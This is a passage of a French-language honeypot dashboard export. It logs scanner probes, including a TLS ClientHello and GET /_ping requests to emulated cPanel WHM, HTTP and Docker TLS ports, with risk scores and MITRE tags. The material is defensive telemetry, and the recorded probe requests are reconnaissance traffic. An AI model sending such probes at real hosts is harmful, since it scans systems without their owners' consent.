"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\u000b\ufffd\ufffdk\ufffd{\u000b~,\ufffd\\{\u0014\ufffdz\ufffd\ufffd\ufffd\u0004(\ufffd\ufffdM\ufffd\ufffd\u0004\u0003N\u0019\ufffd\ufffd\ufffd \ufffd\u0014\ufffd*\r\uda87\uddf11@\u0019\ufffd\ufffd\ufffdo\ufffd\ufffd\u0017\ufffd\u075d&w\ufffd>\ufffd\ufffdg\ufffd\u0002\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffdg\ufffdI5X\ufffd\ufffdr\ufffd.Q\u0019\ufffdsj\ufffd\ufffdyl\ufffd1\u0005w\u000f\ufffd\ufffd[3\u0005",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\u000b\ufffd\ufffdk\ufffd{\u000b~,\ufffd\\{\u0014\ufffdz\ufffd\ufffd\ufffd\u0004(\ufffd\ufffdM\ufffd\ufffd\u0004\u0003N\u0019\ufffd\ufffd\ufffd \ufffd\u0014\ufffd*\r\uda87\uddf11@\u0019\ufffd\ufffd\ufffdo\ufffd\ufffd\u0017\ufffd\u075d&w\ufffd>\ufffd\ufffdg\ufffd\u0002\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2d52cf7c466e8c5b5f9ce6bcfc9701829eba8121",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\u000b\ufffd\ufffdk\ufffd{\u000b~,\ufffd\\{\u0014\ufffdz\ufffd\ufffd\ufffd\u0004(\ufffd\ufffdM\ufffd\ufffd\u0004\u0003N\u0019\ufffd\ufffd\ufffd \ufffd\u0014\ufffd*\r\uda87\uddf11@\u0019\ufffd\ufffd\ufffdo\ufffd\ufffd\u0017\ufffd\u075d&w\ufffd>\ufffd\ufffdg\ufffd\u0002\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffdk\ufffd{~,\ufffd\\{\ufffdz\ufffd\ufffd\ufffd(\ufffd\ufffdM\ufffd\ufffdN\ufffd\ufffd\ufffd \ufffd\ufffd*\r\uda87\uddf11@\ufffd\ufffd\ufffdo\ufffd\ufffd\ufffd\u075d&w\ufffd>\ufffd\ufffdg\ufffd\ufffd\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "cpanel-whm",
"service_label_fr": "CPANEL WHM",
"dst_port": 2087,
"protocol_emulated": true,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-whm",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\u000b\ufffd\ufffdk\ufffd{\u000b~,\ufffd\\{\u0014\ufffdz\ufffd\ufffd\ufffd\u0004(\ufffd\ufffdM\ufffd\ufffd\u0004\u0003N\u0019\ufffd\ufffd\ufffd \ufffd\u0014\ufffd*\r\uda87\uddf11@\u0019\ufffd\ufffd\ufffdo\ufffd\ufffd\u0017\ufffd\u075d&w\ufffd>\ufffd\ufffdg\ufffd\u0002\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffdk\ufffd{~,\ufffd\\{\ufffdz\ufffd\ufffd\ufffd(\ufffd\ufffdM\ufffd\ufffdN\ufffd\ufffd\ufffd \ufffd\ufffd*\r\uda87\uddf11@\ufffd\ufffd\ufffdo\ufffd\ufffd\ufffd\u075d&w\ufffd>\ufffd\ufffdg\ufffd\ufffd\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_whm",
"service_banner": "honeypot-cpanel-whm",
"service_os": "linux",
"dst_port": "2087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"cpanel_whm_emulated",
"cpanel_whm_payload",
"net_cpanel_probe",
"tls_clienthello"
]
}
|
|
|
TCP |
12376 · HTTP
|
http
|
http
http · via HTTP:12376 · (sonde / probe) · → /_ping
|
Moyenne
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /_ping UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_ua_suspicious
Cible HTTP
GET
/_ping
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
12376
Chemin / cible
/_ping
Pourquoi cette classification : Type « http » (signaux protocolaires) · confiance 58%
Confiance classification
58%
Risque capteur
Faible
· 35
Confiance : Confiance 58 % — Score WAF 8
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /_ping HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:12376
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "d85783a0d3edbdcfc7e9c1bf81a2bab776fc1dc2",
"http_target_hash": "34d29ac0dbf406962c493b6d1f0282c38cecf326",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 121,
"payload_entropy": 4.907182585335732,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 12376,
"risk_waf": 8,
"risk_classification": 16,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 35,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.5,
"risk_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15
},
"risk_score": 35,
"tag_count": 1,
"anomaly_count": 0,
"campaign_key": "e3b685de06f21e58beed9ae0b3ec6596dd00ea41",
"event_fingerprint": "47fb74da4a51a111ae4ae003d51129422f64f69a",
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "373e495a31d8618b88c1656accde2175",
"path_pattern_hash": "00dc7ebf61df5fa7329a909b3cd29345"
},
"service_name": "http",
"target_context": {
"dst_port": 12376,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%"
},
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"confidence": 0.58,
"classification_confidence": 0.58,
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "796e9d4d8254ea513c58a5b908d0934596e4bc8b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12376,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "http \u00b7 via HTTP:12376 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"target_port_label": "12376 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"classification_reason_label_fr": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 58,
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 12376,
"protocol_emulated": null,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12376,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http \u00b7 via HTTP:12376 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "12376 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "12376"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_ua_suspicious"
]
}
|
|
|
TCP |
12375 · HTTP
|
http
|
http
http · via HTTP:12375 · (sonde / probe) · → /_ping
|
Moyenne
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /_ping UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_ua_suspicious
Cible HTTP
GET
/_ping
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
12375
Chemin / cible
/_ping
Pourquoi cette classification : Type « http » (signaux protocolaires) · confiance 58%
Confiance classification
58%
Risque capteur
Faible
· 35
Confiance : Confiance 58 % — Score WAF 8
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /_ping HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:12375
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "82e55ccc7a2d66b903a9b16f0b2ba17b4be27f13",
"http_target_hash": "34d29ac0dbf406962c493b6d1f0282c38cecf326",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 121,
"payload_entropy": 4.907182585335732,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 12375,
"risk_waf": 8,
"risk_classification": 16,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 35,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.3,
"risk_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15
},
"risk_score": 35,
"tag_count": 1,
"anomaly_count": 0,
"campaign_key": "d25cf7a52c98f51bb78f66e17d5da51ac0072f66",
"event_fingerprint": "1470a0095a0565c4ab4beb9b9b8994a897063d0b",
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "40f5b8212e2d478a9b76d03b4d85cce5",
"path_pattern_hash": "00dc7ebf61df5fa7329a909b3cd29345"
},
"service_name": "http",
"target_context": {
"dst_port": 12375,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
"method": "GET",
"path": "\/_ping",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/_ping HTTP\/1.1",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%"
},
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"confidence": 0.58,
"classification_confidence": 0.58,
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "546c762f0f30e2e9211a5aeb5ce1c5621f40c098",
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12375,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "http \u00b7 via HTTP:12375 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"target_port_label": "12375 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"classification_reason_label_fr": "Type \u00ab http \u00bb (signaux protocolaires) \u00b7 confiance 58%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 58,
"confidence_breakdown": {
"waf": 8,
"classification": 16,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 12375,
"protocol_emulated": null,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/_ping",
"request_line": "GET \/_ping HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 12375,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http \u00b7 via HTTP:12375 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/_ping",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:12375\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "12375 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 58 % \u2014 Score WAF 8",
"confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "12375"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_ua_suspicious"
]
}
|
|
|
TCP |
2376 · DOCKER TLS
|
docker-tls
|
docker tls probe
docker tls probe · via DOCKER TLS:2376 · (sonde / probe)
|
Élevée
|
Moyen · 45
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
DOCKER-TLS
WAF
—
Recommandation
Surveiller
Tags
docker_api_probe
docker_tls_emulated
docker_tls_payload
http_get_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2376
Chemin / cible
—
Service
DOCKER TLS
Payload
GET /_ping HTTP/1.1 Host: 62.3.50.33:2376 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip Connection: close
Pourquoi cette classification : Type « docker_tls_probe » (signaux protocolaires) · confiance 62%
Confiance classification
62%
Risque capteur
Moyen
· 45
Confiance : Confiance 62 % — 5 signal(aux) capteur
Protocole émulé
1
Signaux
Docker Tls
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:2376
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "15030300020228",
"emulator_response_len": 7,
"bytes_in": 120,
"payload_entropy": 4.908526275523807,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "docker-tls",
"app_proto": "docker-tls",
"asn": 215925,
"country": "US",
"dst_port": 2376,
"risk_waf": 8,
"risk_classification": 44,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5,
"risk_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 45,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "ecac66132698f2c53170ca45331a87e4d06856d7",
"event_fingerprint": "0e1c691ada97ecfe1cd84524e4db6b819b7ed10b",
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"confidence": 0.62,
"classification_confidence": 0.62,
"precision_score": 69,
"precision_signals": [
"INT-docker-tls",
"INT-upstream"
],
"kb_rule_ids": [
"INT-docker-tls",
"INT-upstream"
],
"confidence_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 45
},
"named_classification_skipped": false,
"service_name": "docker-tls",
"risk_confidence_factor": 62,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "9829434df8ba002fbc6e132d1aaed959",
"path_pattern_hash": "d32a2cff6903ffd31fff36df36da58ae"
},
"target_context": {
"dst_port": 2376,
"service": "docker-tls",
"service_name": "docker-tls",
"risk_score": 45
},
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"evidence": {
